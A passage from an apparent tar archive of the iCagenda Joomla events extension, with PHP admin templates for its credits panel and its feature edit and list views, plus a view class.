<?php endif;?>
		<!-- Begin Content -->
		<div class="row-fluid">
			<div class="span12">
				<div class="row-fluid">
					<div class="span6">
						<div class="icpanel" style="background-color:#FFFFFF; border: 1px solid #D4D4D4; padding:10px; border-radius: 10px;">
							<h2 style="font-size:2em; color: Gray; text-align: center">
								<?php echo JText::_('COM_ICAGENDA_PANEL_CONTRIBUTORS');?>
							</h2>
							<div>&nbsp;</div>
							<p style="margin:10px 30px; text-align:center; color: grey;">
								<i>&ldquo; <?php echo JText::_('COM_ICAGENDA_PANEL_THANKS_TEXT'); ?> &rdquo;</i>
							</p>
							<p class="small" style="margin:20px 0px; text-align:justify; color: DimGray;">
								Ervin Bizjak, Bong, Giuseppe Bosco, Carosouza, Davor Čolić, doorknob, Reinhard Ekker, elirezo, jedi, jowe3, JonxDuo, KISweb, kredo9, macedorl, Kai Metsävainio, mussool, NicoDeluxe, Rickard Norberg, Andrzej Opejda, Régis, Tom-Henning, Rikard Tømte Reitan, Vlad Shuh, Leland Vandervort, Wilfred van Dijk, Roland van Wanrooy, David White ...
							</p>
							<h3><?php echo JText::_('COM_ICAGENDA_PANEL_TRANSLATION');?></h3>
							<div style="margin-left: 20px; padding:0px; color: DimGray;">
	<img src='../media/mod_languages/images/ar.gif' alt="ar" class='iCflag' /> &nbsp;<b>Arabic (Unitag) :</b> haneen2013, fkinanah <br />
	<img src='../media/mod_languages/images/eu_es.gif' alt="eu_es" class='iCflag' /> &nbsp;<b>Basque (Spain) :</b> Bizkaitarra <br />
	<img src='../media/mod_languages/images/bg.gif' alt="bg-BG" class='iCflag' /> &nbsp;<b>Bulgarian (Bulgaria) :</b> bimbongr <br />
	<img src='../media/mod_languages/images/ca.gif' alt="ca" class='iCflag' /> &nbsp;<b>Catalan (Spain) :</b> Mussool, Figuerolero, riquib <br />
	<img src='../media/mod_languages/images/zh.gif' alt="zh-CN" class='iCflag' /> &nbsp;<b>Chinese (China) :</b> Foxyman <br />
	<img src='../media/mod_languages/images/tw.gif' alt="zh-TW" class='iCflag' /> &nbsp;<b>Chinese (Taiwan) :</b> jedi, hkce, rowdytang <br />
	<img src='../media/mod_languages/images/hr.gif' alt="hr" class='iCflag' /> &nbsp;<b>Croatian (Croatia) :</b> Davor Čolić, komir <br />
	<img src='../media/mod_languages/images/cz.gif' alt="cz" class='iCflag' /> &nbsp;<b>Czech (Czech Republic) :</b> Bong <br />
	<img src='../media/mod_languages/images/dk.gif' alt="dk" class='iCflag' /> &nbsp;<b>Danish (Denmark) :</b> olewolf.dk, hvitnov, torbenspetersen, poulfrom, AhmadHamid <br />
	<img src='../media/mod_languages/images/nl.gif' alt="nl-NL" class='iCflag' /> &nbsp;<b>Dutch (Netherlands) :</b> Molenwal1, AnneM, Mario Guagliardo, wfvdijk, Walldorff <br />
	<img src='../media/mod_languages/images/en.gif' alt="en-GB" class='iCflag' /> &nbsp;<b>English (United Kingdom) :</b> Lyr!C <br />
	<img src='../media/mod_languages/images/us.gif' alt="en-US" class='iCflag' /> &nbsp;<b>English (United States) :</b> Lyr!C <br />
	<img src='../media/mod_languages/images/eo.gif' alt="eo" class='iCflag' /> &nbsp;<b>Esperanto :</b> Anita_Dagmarsdotter, Amema <br />
	<img src='../media/mod_languages/images/et.gif' alt="et" class='iCflag' /> &nbsp;<b>Estonian (Estonia) :</b> Eraser, Reijo <br />
	<img src='../media/mod_languages/images/fi.gif' alt="fi-FI" class='iCflag' /> &nbsp;<b>Finnish (Finland) :</b> Kai Metsävainio <br />
	<img src='../media/mod_languages/images/fr.gif' alt="fr-FR" class='iCflag' /> &nbsp;<b>French (France) :</b> Lyr!C <br />
	<img src='../media/mod_languages/images/de.gif' alt="de-DE" class='iCflag' /> &nbsp;<b>German (Germany) :</b> grisuu, mPino, Wasilis, bmbsbr, chuerner, Proton_11, keraM <br />
	<img src='../media/mod_languages/images/el.gif' alt="el-GR" class='iCflag' /> &nbsp;<b>Greek (Greece) :</b> E.Gkana-D.Kontogeorgis (elinag), rinenweb, kost36, mbini, Wasilis <br />
	<img src='../media/mod_languages/images/hu.gif' alt="hu-HU" class='iCflag' /> &nbsp;<b>Hungarian (Hungary) :</b> Halilaci, magicf, Cerbo, mester93 <br />
	<img src='../media/mod_languages/images/it.gif' alt="it-IT" class='iCflag' /> &nbsp;<b>Italian (Italy) :</b> Giuseppe Bosco (giusebos) <br />
	<img src='../media/mod_languages/images/ja.gif' alt="ja-JP" class='iCflag' /> &nbsp;<b>Japanese (Japan) :</b> nagata, taimai908 <br />
	<img src='../media/mod_languages/images/lv.gif' alt="lv-LV" class='iCflag' /> &nbsp;<b>Latvian (Latvia) :</b> kredo9 <br />
	<img src='../media/mod_languages/images/lt.gif' alt="lt-LT" class='iCflag' /> &nbsp;<b>Lithuanian (Lithuania) :</b> ahxoohx <br />
	<img src='../media/mod_languages/images/icon-16-language.png' alt="lb-LU" class='iCflag' /> &nbsp;<b>Luxembourgish (Luxembourg) :</b> Superjhemp <br />
	<img src='../media/mod_languages/images/no.gif' alt="nb-NO" class='iCflag' /> &nbsp;<b>Norwegian Bokmål (Norway) :</b> Rikard Tømte Reitan (Rikrei) <br />
	<img src='../media/mod_languages/images/fa_ir.gif' alt="fa-IR" class='iCflag' /> &nbsp;<b>Persian (Iran) :</b> Arash Rezvani (al3n.nvy) <br />
	<img src='../media/mod_languages/images/pl.gif' alt="pl-PL" class='iCflag' /> &nbsp;<b>Polish (Poland) :</b> mbsrz, KISweb, gienio22, traktor, niewidzialny <br />
	<img src='../media/mod_languages/images/pt_br.gif' alt="pt-BR" class='iCflag' /> &nbsp;<b>Portuguese (Brazil) :</b> Carosouza, alxaraujo <br />
	<img src='../media/mod_languages/images/pt.gif' alt="pt-PT" class='iCflag' /> &nbsp;<b>Portuguese (Portugal) :</b> LFGM, macedorl, horus68, helfer <br />
	<img src='../media/mod_languages/images/ro.gif' alt="ro-RO" class='iCflag' /> &nbsp;<b>Romanian (Romania) :</b> hat, mester93 <br />
	<img src='../media/mod_languages/images/ru.gif' alt="ru-RU" class='iCflag' /> &nbsp;<b>Russian (Russia) :</b> nshash, MSV <br />
	<img src='../media/mod_languages/images/sr.gif' alt="sr-YU" class='iCflag' /> &nbsp;<b>Serbian (latin) :</b> Nenad Mihajlović <br />
	<img src='../media/mod_languages/images/sk.gif' alt="sk-SK" class='iCflag' /> &nbsp;<b>Slovak (Slovakia) :</b> ischindl, J.Ribarszki <br />
	<img src='../media/mod_languages/images/sl.gif' alt="sl-SI" class='iCflag' /> &nbsp;<b>Slovenian (Slovenia) :</b> erbi (Ervin Bizjak) <br />
	<img src='../media/mod_languages/images/es.gif' alt="es-ES" class='iCflag' /> &nbsp;<b>Spanish (Spain) :</b> elerizo, mPino, albertodg, adolf64, Goncatín, virem1, leoxordonez, claugardia, sterroso <br />
	<img src='../media/mod_languages/images/sv.gif' alt="sv-SE" class='iCflag' /> &nbsp;<b>Swedish (Sweden) :</b> Rickard Norberg (metska), Amema, kricke <br />
	<img src='../media/mod_languages/images/th.gif' alt="th-TH" class='iCflag' /> &nbsp;<b>Thai (Thailand) :</b> rattanachai.ha <br />
	<img src='../media/mod_languages/images/tr.gif' alt="tr-TR" class='iCflag' /> &nbsp;<b>Turkish (Turkey) :</b> harikalarkutusu, farukzeynep, kemalokmen <br />
	<img src='../media/mod_languages/images/uk.gif' alt="uk" class='iCflag' /> &nbsp;<b>Ukrainian (Ukraine) :</b> Vlad Shuh (slv54) <br />
							</div>
							<br />
						</div>
					</div>
					<div class="span1">
					</div>
					<div class="span5">
						<div style="float:right; padding:0px 0px 0px 20px;">
							<img src="../media/com_icagenda/images/logo_icagenda.png" alt="logo_icagenda" />
						</div>
						<div>
							<h2 style="font-size:2em;">
								<b style="color:#cc0000;">iC</b><b style="color: #666666;">agenda<sup style="font-size:0.6em">&trade;</sup></b>&nbsp;<b style="font-size:0.5em;"></b>
							</h2>
						</div>
						<div>
							<h4>
								<?php echo JText::_('COM_ICAGENDA_INFORMATION') ?>
							</h4>
						</div>
						<div>&nbsp;</div>
						<div>&nbsp;</div>
						<div>&nbsp;</div>
						<div>&nbsp;</div>
						<div>&nbsp;</div>
						<div>&nbsp;</div>

						<h3><?php echo JText::_('iCagenda Team');?></h3>
						<p>
							<strong><?php echo JText::_('COM_ICAGENDA_PANEL_LEAD_DEVELOPER');?></strong><br />
							Cyril Rezé (Lyr!C) | <a href="http://www.joomlic.com" target="_blank">www.joomlic.com</a>
						</p>
						<p>
							<strong><?php echo JText::_('COM_ICAGENDA_PANEL_TEAM_1');?></strong><br>
							Giuseppe Bosco (giusebos) | <a href="http://www.newideasproject.com/" target="_blank">www.newideasproject.com</a>
						</p>
						<p>
							<strong><?php echo JText::_('COM_ICAGENDA_PANEL_TEAM_CODE_CONTRIBUTORS');?></strong>
							<div class="span12">
							Doorknob :
								<ul>
									<small>
									<li>Features</li>
									<li>Responsive Screen Threshold Widths (media css)</li>
									<li>jQuery.highlightToday.js (module calendar)</li>
									</small>
								</ul>
							</div>
							<div class="span12">
							Tom-Henning (MaW) :
								<ul>
									<small>
									<li>iCalcreator integration (Add to iCal/Outlook)</li>
									</small>
								</ul>
							</div>
						</p>
						<h3><?php echo JText::_('COM_ICAGENDA_VERSION');?></h3>
						<p>
							<?php echo $version ;?>
						</p>
						<h3><?php echo JText::_('COM_ICAGENDA_COPYRIGHT');?></h3>
						<p>
							© 2012 - <?php echo date("Y"); ?> Cyril Rezé / Jooml!C<br/>
							<a href="http://www.joomlic.com" target="_blank">www.Jooml!C.com</a>
						</p>
						<h3><?php echo JText::_('COM_ICAGENDA_LICENSE');?></h3>
						<p>
							<a href="http://www.gnu.org/licenses/gpl.html" target="_blank">GPLv3 or later</a>
						</p>
						<hr>
						<h3><?php echo JText::_('COM_ICAGENDA_LIBRARIES');?></h3>
						<p>
							<strong>Akeeba Live Update (ARS)</strong><br/>
							© Nicholas K. Dionysopoulos | <a href="https://www.akeebabackup.com" target="_blank">www.akeebabackup.com</a><br/>
							<small>Licensed under <a href="http://www.gnu.org/copyleft/lesser.html" target="_blank">GNU LGPLv3</a> or later.</small><br/>
						</p>
						<p>
							<strong>Timepicker jQuery addon</strong><br/>
							© Trent Richardson | <a href="http://trentrichardson.com" target="_blank">trentrichardson.com</a><br/>
							<small>Project licensed under the <a href="http://trentrichardson.com/Impromptu/MIT-LICENSE.txt" target="_blank">MIT</a> or <a href="http://trentrichardson.com/Impromptu/GPL-LICENSE.txt" target="_blank">GPL</a> licenses.</small><br/>
						</p>
						<p>
							<strong>TipTip jQuery plugin</strong><br/>
							© Drew Wilson | <a href="http://www.drewwilson.com" target="_blank">www.drewwilson.com</a><br/>
							<small>Dual licensed under the <a href="http://www.opensource.org/licenses/mit-license.php" target="_blank">MIT</a> and <a href="http://www.gnu.org/licenses/gpl.html" target="_blank">GPL</a> licenses.</small><br/>
						</p>
						<p>
							<strong>Google Maps™</strong><br/>
							© Google Inc. | <a href="https://developers.google.com/maps/terms" target="_blank">Google Maps/Google Earth APIs Terms of Service</a><br/>
							<small>Google™ and Google Maps™ are registered trademarks of Google Inc.</small><br/>
						</p>
						<p>
							<strong>and of course... Joomla!</strong><br/>
							<a href="http://www.joomla.org" target="_blank">www.joomla.org</a><br/>
						</p>

					</div>
				</div>
			</div>
		</div>

		<div class="row-fluid">
			<div class="span12">
				<tbody>
					<table style="border: 0px;">
						<tr>
							<td>
								<a href="http://icagenda.joomlic.com/resources/translations" target="_blank" class="btn">
									<?php echo JText::_('COM_ICAGENDA_PANEL_TRANSLATION_PACKS_DONWLOAD');?>
								</a>
							</td>
							<td>
								<a href='http://www.joomlic.com/forum/icagenda'  target="_blank" class="btn">
									<?php echo JText::_('COM_ICAGENDA_PANEL_HELP_FORUM'); ?>
								</a>
							</td>
						</tr>
					</table>
				</tbody>
			</div>
		</div>
	</div>

	<!-- footer -->
	<div>
		<div class="row-fluid">
			<div class="span12">
				<hr>
				<div class="row-fluid">
					<div class="span9">
						Copyright ©2012-<?php echo date("Y"); ?> joomlic.com -&nbsp;
						<?php echo JText::_('COM_ICAGENDA_PANEL_COPYRIGHT');?>&nbsp;<a href="http://extensions.joomla.org/extensions/calendars-a-events/events/events-management/22013" target="_blank">Joomla! Extensions Directory</a>.
						<br />
						<br />
					</div>
					<div class="span3" style="text-align: right">
						<a href='http://www.joomlic.com' target='_blank'>
							<img src="../media/com_icagenda/images/logo_joomlic.png" alt="JoomliC" border="0"/>
						</a>
						<br />
						<i><b><?php echo JText::_('COM_ICAGENDA_PANEL_SITE_VISIT');?>&nbsp;<a href='http://www.joomlic.com' target='_blank'>www.joomlic.com</a></b></i>
					</div>
				</div>
			</div>
		</div>
	</div>
com_icagenda/views/feature/index.html000060400000000037152455305270013726 0ustar00<!DOCTYPE html><title></title>
com_icagenda/views/feature/tmpl/index.html000060400000000037152455305270014702 0ustar00<!DOCTYPE html><title></title>
com_icagenda/views/feature/tmpl/edit.php000060400000025615152455305270014354 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      doorknob & Cyril Rezé
 * @link        http://www.joomlic.com
 *
 * @version     3.5.6 2015-05-06
 * @since       3.4.0
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

JHtml::_('behavior.tooltip');
JHtml::_('behavior.formvalidation');

$app = JFactory::getApplication();
$document = JFactory::getDocument();

// Access Administration Features check.
if (JFactory::getUser()->authorise('icagenda.access.features', 'com_icagenda'))
{
	$bootstrapType		= '1';
	$PanelOne_Tag		= 'feature';
	$PanelOne_Title		= JText::_('COM_ICAGENDA_TITLE_FEATURE', true);
	$PanelTwo_Tag		= 'desc';
	$PanelTwo_Title		= JText::_('COM_ICAGENDA_LEGEND_DESC', true);
	$PublishingTag		= 'publishing';
	$PublishingTitle	= JText::_('JGLOBAL_FIELDSET_PUBLISHING', true);

	// Joomla 2.5
	if (version_compare(JVERSION, '3.0', 'lt'))
	{
		jimport( 'joomla.html.html.tabs' );

		$iCmapDisplay		= '3';

		$icPanOne			= JText::_('COM_ICAGENDA_TITLE_EVENT');
		$icPanTwo			= JText::_('COM_ICAGENDA_LEGEND_DESC');
		$icPanPublishing	= JText::_('JGLOBAL_FIELDSET_PUBLISHING');
		$startPane			= 'tabs.start';
		$addPanel			= 'tabs.panel';
		$endPanel			= 'tabs.end';
		$endPane			= 'tabs.end';
		$PanelOne_Tag1		= $PanelOne_Tag;
		$PanelOne_Tag2		= $PanelOne_Title;
		$PanelTwo_Tag1		= $PanelTwo_Tag;
		$PanelTwo_Tag2		= $PanelTwo_Title;
		$PublishingTag1		= $PublishingTag;
		$PublishingTag2		= $PublishingTitle;
	}

	// Joomla 3
	else
	{
		JHtml::_('formbehavior.chosen', 'select');
		jimport('joomla.html.html.bootstrap');

		$icPanOne			= 'icTab';
		$icPanTwo			= 'icTab';
		$icPanPublishing	= 'icTab';

		if ($bootstrapType == '1')
		{
			$iCmapDisplay	= '1';
			$startPane		= 'bootstrap.startTabSet';
			$addPanel		= 'bootstrap.addTab';
			$endPanel		= 'bootstrap.endTab';
			$endPane		= 'bootstrap.endTabSet';
			$PanelOne_Tag1	= $PanelOne_Tag;
			$PanelOne_Tag2	= $PanelOne_Title;
			$PanelTwo_Tag1	= $PanelTwo_Tag;
			$PanelTwo_Tag2	= $PanelTwo_Title;
			$PublishingTag1	= $PublishingTag;
			$PublishingTag2	= $PublishingTitle;
		}
		if ($bootstrapType == '2')
		{
			$iCmapDisplay	= '2';
			$startPane		= 'bootstrap.startAccordion';
			$addPanel		= 'bootstrap.addSlide';
			$endPanel		= 'bootstrap.endSlide';
			$endPane		= 'bootstrap.endAccordion';
			$PanelOne_Tag1	= $PanelOne_Title;
			$PanelOne_Tag2	= $PanelOne_Tag;
			$PanelTwo_Tag1	= $PanelTwo_Title;
			$PanelTwo_Tag2	= $PanelTwo_Tag;
			$PublishingTag1	= $PublishingTitle;
			$PublishingTag2	= $PublishingTag;
		}
	}
	?>

	<script type="text/javascript">
		Joomla.submitbutton = function(task)
		{
			if (task == 'feature.cancel' || document.formvalidator.isValid(document.id('feature-form'))) {
				Joomla.submitform(task, document.getElementById('feature-form'));
			}
			else {
				alert('<?php echo $this->escape(JText::_('JGLOBAL_VALIDATION_FORM_FAILED'));?>');
			}
		}
	</script>

	<form action="<?php echo JRoute::_('index.php?option=com_icagenda&layout=edit&id='.(int) $this->item->id); ?>" method="post" name="adminForm" id="feature-form" class="form-validate">
		<div class="container">
			<?php // iCagenda Header ?>
			<header>
				<h1>
					<?php echo empty($this->item->id) ? JText::_('COM_ICAGENDA_LEGEND_NEW_FEATURE') : JText::sprintf('COM_ICAGENDA_LEGEND_EDIT_FEATURE', $this->item->id); ?>&nbsp;<span>iCagenda</span>
				</h1>
				<h2>
					<?php echo JText::_('COM_ICAGENDA_COMPONENT_DESC'); ?>
				</h2>
			</header>
			<div>&nbsp;</div>

			<?php // Begin Content ?>
			<div class="row-fluid">
				<div class="span10 form-horizontal">

					<?php // Open Panel Set ?>
					<?php echo JHtml::_($startPane, 'icTab', array('active' => 'feature')); ?>

						<?php // Panel Feature ?>
						<?php echo JHtml::_($addPanel, $icPanOne, $PanelOne_Tag1, $PanelOne_Tag2); ?>

							<div class="icpanel iCleft">
								<h1>
									<?php echo empty($this->item->id) ? JText::_('COM_ICAGENDA_LEGEND_NEW_FEATURE') : JText::sprintf('COM_ICAGENDA_LEGEND_EDIT_FEATURE', $this->item->id); ?>
								</h1>
								<hr>
								<div class="row-fluid">
									<div class="span12 iCleft">
										<div class="control-group">
											<div class="control-label">
												<?php echo $this->form->getLabel('title'); ?>
											</div>
											<div class="controls">
												<?php echo $this->form->getInput('title'); ?>
											</div>
										</div>
									</div>
								</div>
								<div class="row-fluid">
									<div class="span12 iCleft">
										<div class="control-group">
											<div class="control-label">
												<?php echo $this->form->getLabel('icon'); ?>
											</div>
											<div class="controls">
												<?php echo $this->form->getInput('icon'); ?>
											</div>
										</div>
									</div>
								</div>
								<div class="row-fluid">
									<div class="span12 iCleft">
										<div class="control-group">
											<div class="control-label">
												<?php echo $this->form->getLabel('new_icon'); ?>
											</div>
											<div class="controls">
												<?php echo $this->form->getInput('new_icon'); ?>
											</div>
										</div>
									</div>
								</div>
								<div class="row-fluid">
									<div class="span12 iCleft">
										<div class="control-group">
											<div class="control-label">
												<?php echo $this->form->getLabel('icon_alt'); ?>
											</div>
											<div class="controls">
												<?php echo $this->form->getInput('icon_alt'); ?>
											</div>
										</div>
									</div>
								</div>
								<div class="row-fluid">
									<div class="span12 iCleft">
										<div class="control-group">
											<div class="control-label">
												<?php echo $this->form->getLabel('show_filter'); ?>
											</div>
											<div class="controls">
												<?php echo $this->form->getInput('show_filter'); ?>
											</div>
										</div>
									</div>
								</div>
							</div>

							<?php // End Panel Feature ?>
							<?php if(version_compare(JVERSION, '3.0', 'ge')) echo JHtml::_($endPanel); ?>


							<?php // Panel Description ?>
							<?php //echo JHtml::_($addPanel, $icPanTwo, $PanelTwo_Tag1, $PanelTwo_Tag2); ?>

								<!--div class="icpanel iCleft">
								<h1>
								<?php //echo JText::_('COM_ICAGENDA_FORM_FEATURE_DESCRIPTION_LABEL'); ?>
								</h1>
								<hr>
								<div class="row-fluid">
									<div class="span12 iCleft">
										<h3>
											<?php //echo JText::_('COM_ICAGENDA_FORM_FEATURE_DESCRIPTION_DESC'); ?>
										</h3>
										<?php //echo $this->form->getInput('desc'); ?>
									</div>
								</div>
							</div-->

						<?php // End Panel Description ?>
						<?php //if(version_compare(JVERSION, '3.0', 'ge')) echo JHtml::_($endPanel); ?>


						<?php // Panel Publishing ?>
						<?php echo JHtml::_($addPanel, $icPanPublishing, $PublishingTag1, $PublishingTag2); ?>

							<div class="icpanel iCleft">
								<h1>
									<?php echo JText::_('JGLOBAL_FIELDSET_PUBLISHING'); ?>
								</h1>
								<hr>
								<div class="row-fluid">
									<div class="span6 iCleft">
										<div class="control-group">
											<div class="control-label">
												<?php echo $this->form->getLabel('alias'); ?>
											</div>
											<div class="controls">
												<?php echo $this->form->getInput('alias'); ?>
											</div>
										</div>
										<div class="control-group">
											<div class="control-label">
												<?php echo $this->form->getLabel('id'); ?>
											</div>
											<div class="controls">
												<?php echo $this->form->getInput('id'); ?>
											</div>
										</div>
										<div class="control-group">
											<div class="control-label">
												<?php echo $this->form->getLabel('checked_out'); ?>
											</div>
											<div class="controls">
												<?php echo $this->form->getInput('checked_out'); ?>
											</div>
										</div>
										<div class="control-group">
											<div class="control-label">
												<?php echo $this->form->getLabel('checked_out_time'); ?>
											</div>
											<div class="controls">
												<?php echo $this->form->getInput('checked_out_time'); ?>
											</div>
										</div>
									</div>
								</div>
							</div>

						<?php // End Panel Publishing ?>
						<?php echo JHtml::_($endPanel); ?>

					<?php // End Panel Set ?>
					<?php echo JHtml::_($endPane, 'icTab'); ?>

				</div>


				<?php // Begin Sidebar ?>
				<div class="span2 iCleft">

					<h4>
						<?php echo JText::_('COM_ICAGENDA_TITLE_SIDEBAR_DETAILS'); ?>
					</h4>
					<hr>
					<div class="control-group">
						<div class="control-label">
							<?php echo $this->form->getLabel('state'); ?>
						</div>
						<div class="controls">
							<?php echo $this->form->getInput('state'); ?>
						</div>
					</div>

				<?php // End Sidebar ?>
				</div>

				<div class="clr"></div>
			</div>
		</div>
		<input type="hidden" name="task" value="" />
		<?php echo JHtml::_('form.token'); ?>
		<div class="clr"></div>
	</form>

	<?php
	// Joomla 2.5
	if (version_compare(JVERSION, '3.0', 'lt'))
	{
		JHtml::stylesheet('com_icagenda/template.j25.css', false, true);
		JHtml::stylesheet('com_icagenda/icagenda-back.j25.css', false, true);

		JHtml::_('behavior.framework');

		// load jQuery, if not loaded before
		$scripts = array_keys($document->_scripts);
		$scriptFound = false;
		$scriptuiFound = false;

		for ($i = 0; $i < count($scripts); $i++)
		{
			if (stripos($scripts[$i], 'jquery.min.js') !== false)
			{
				$scriptFound = true;
			}
			if (stripos($scripts[$i], 'jquery.js') !== false)
			{
				$scriptFound = true;
			}
			if (stripos($scripts[$i], 'jquery-ui.min.js') !== false)
			{
				$scriptuiFound = true;
			}
		}

		// jQuery Library Loader
		if (!$scriptFound)
		{
			// load jQuery, if not loaded before
			if (!$app->get('jquery'))
			{
				$app->set('jquery', true);
				// add jQuery
				$document->addScript('https://ajax.googleapis.com/ajax/libs/jquery/1.8.3/jquery.min.js');
				$document->addScript( JURI::root( true ) . '/media/com_icagenda/js/jquery.noconflict.js' );
			}
		}

		if (!$scriptuiFound)
		{
			$document->addScript('https://ajax.googleapis.com/ajax/libs/jqueryui/1.9.2/jquery-ui.min.js');
		}

		$document->addScript( JURI::root( true ) . '/media/com_icagenda/js/template.js' );
	}
	else
	{
		JHtml::_('bootstrap.framework');
		JHtml::_('jquery.framework');
	}

	}
else
{
	$app->enqueueMessage(JText::_('JERROR_ALERTNOAUTHOR'), 'warning');
	$app->redirect(htmlspecialchars_decode('index.php?option=com_icagenda&view=icagenda'));
}
com_icagenda/views/feature/view.html.php000060400000006523152455305270014365 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      doorknob
 * @link        http://www.joomlic.com
 *
 * @version     3.5.4 2015-04-09
 * @since       3.4.0
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

/**
 * View class Admin - Edit a Feature - iCagenda
 */
class iCagendaViewFeature extends JViewLegacy
{
	protected $state;
	protected $item;
	protected $form;

	/**
	 * Display the view
	 */
	public function display($tpl = null)
	{
		$this->state	= $this->get('State');
		$this->item		= $this->get('Item');
		$this->form		= $this->get('Form');


		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			JError::raiseError(500, implode("\n", $errors));
			return false;
		}

		$this->addToolbar();

		parent::display($tpl);
	}

	/**
	 * Add the page title and toolbar.
	 */
	protected function addToolbar()
	{
		JRequest::setVar('hidemainmenu', true);

		$user		= JFactory::getUser();
		$isNew		= ($this->item->id == 0);

		if (isset($this->item->checked_out))
		{
			$checkedOut	= !($this->item->checked_out == 0 || $this->item->checked_out == $user->get('id'));
		}
		else
		{
			$checkedOut = false;
		}

		$canDo		= iCagendaHelper::getActions();

		// Set Title
		if(version_compare(JVERSION, '3.0', 'lt'))
		{
			JToolBarHelper::title($isNew ? 'iCagenda - ' . JText::_('COM_ICAGENDA_LEGEND_NEW_FEATURE') : 'iCagenda - ' . JText::_('COM_ICAGENDA_LEGEND_EDIT_FEATURE'), 'feature.png');
		}
		else
		{
			JToolBarHelper::title($isNew ? 'iCagenda <span style="font-size:14px;">- ' . JText::_('COM_ICAGENDA_LEGEND_NEW_FEATURE') . '</span>'  : 'iCagenda <span style="font-size:14px;">- ' . JText::_('COM_ICAGENDA_LEGEND_EDIT_FEATURE') . '</span>' , $isNew ? 'new' : 'pencil-2');
		}

		$icTitle = $isNew ? JText::_('COM_ICAGENDA_LEGEND_NEW_FEATURE') : JText::_('COM_ICAGENDA_LEGEND_EDIT_FEATURE');

		$document	= JFactory::getDocument();
		$app		= JFactory::getApplication();
		$sitename	= $app->getCfg('sitename');
		$title		= $app->getCfg('sitename') . ' - ' . JText::_('JADMINISTRATION') . ' - iCagenda: ' . $icTitle;
		$document->setTitle($title);

		// If not checked out, can save the item.
		if (!$checkedOut && ($canDo->get('core.edit')||($canDo->get('core.create'))))
		{
			JToolBarHelper::apply('feature.apply', 'JTOOLBAR_APPLY');
			JToolBarHelper::save('feature.save', 'JTOOLBAR_SAVE');
		}

		if (!$checkedOut && ($canDo->get('core.create')))
		{
			JToolBarHelper::custom('feature.save2new', 'save-new.png', 'save-new_f2.png', 'JTOOLBAR_SAVE_AND_NEW', false);
		}

		// If an existing item, can save to a copy.
		if (!$isNew && $canDo->get('core.create'))
		{
			JToolBarHelper::custom('feature.save2copy', 'save-copy.png', 'save-copy_f2.png', 'JTOOLBAR_SAVE_AS_COPY', false);
		}

		if (empty($this->item->id))
		{
			JToolBarHelper::cancel('feature.cancel', 'JTOOLBAR_CANCEL');
		}
		else
		{
			JToolBarHelper::cancel('feature.cancel', 'JTOOLBAR_CLOSE');
		}
	}
}
com_icagenda/views/features/tmpl/index.html000060400000000037152455305270015065 0ustar00<!DOCTYPE html><title></title>
com_icagenda/views/features/tmpl/default.php000060400000036003152455305270015227 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      doorknob
 * @link        http://www.joomlic.com
 *
 * @version     3.4.0 2014-07-14
 * @since       3.4.0
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

$app = JFactory::getApplication();

// Access Administration Features check.
if (JFactory::getUser()->authorise('icagenda.access.features', 'com_icagenda'))
{
	// Check Theme Packs Compatibility
	if (class_exists('icagendaTheme')) icagendaTheme::checkThemePacks();

	$user		= JFactory::getUser();
	$userId		= $user->get('id');
	$listOrder	= $this->escape($this->state->get('list.ordering'));
	$listDirn	= $this->escape($this->state->get('list.direction'));
	$canOrder	= $user->authorise('core.edit.state', 'com_icagenda');
	$saveOrder	= $listOrder == 'a.ordering';

	if(version_compare(JVERSION, '3.0', 'lt'))
	{
		JHtml::_('behavior.tooltip');
		JHtml::_('script','system/multiselect.js',false,true);
	}
	else
	{
		// Include the component HTML helpers.
		JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html');
		JHtml::_('bootstrap.tooltip');
		JHtml::_('behavior.multiselect');
		JHtml::_('formbehavior.chosen', 'select');
		JHtml::_('dropdown.init');

		$extension	= $this->escape($this->state->get('filter.extension'));

		$archived	= $this->state->get('filter.published') == 2 ? true : false;
		$trashed	= $this->state->get('filter.published') == -2 ? true : false;

		if ($saveOrder)
		{
			$saveOrderingUrl = 'index.php?option=com_icagenda&task=features.saveOrderAjax&tmpl=component';
			JHtml::_('sortablelist.sortable', 'featuresList', 'adminForm', strtolower($listDirn), $saveOrderingUrl, false, true);
		}

		$sortFields = array();
		?>

		<script type="text/javascript">
		Joomla.orderTable = function()
		{
			table = document.getElementById("sortTable");
			direction = document.getElementById("directionTable");
			order = table.options[table.selectedIndex].value;

			if (order != '<?php echo $listOrder; ?>')
			{
				dirn = 'asc';
			}
			else
			{
				dirn = direction.options[direction.selectedIndex].value;
			}
			Joomla.tableOrdering(order, dirn, '');
		}
		</script>
	<?php
	}

	// Get media path
	$params_media = JComponentHelper::getParams('com_media');
	$image_path = $params_media->get('image_path', 'images');
	?>

	<form action="<?php echo JRoute::_('index.php?option=com_icagenda&view=features'); ?>" method="post" name="adminForm" id="adminForm">
	<?php if (!empty( $this->sidebar)) : ?>
		<div id="j-sidebar-container" class="span2">
			<?php echo $this->sidebar; ?>
		</div>
		<div id="j-main-container" class="span10">
	<?php else : ?>
		<div id="j-main-container">
	<?php endif;?>

		<?php if(version_compare(JVERSION, '3.0', 'lt')) : ?>
			<fieldset id="filter-bar">
				<div class="filter-search fltlft">
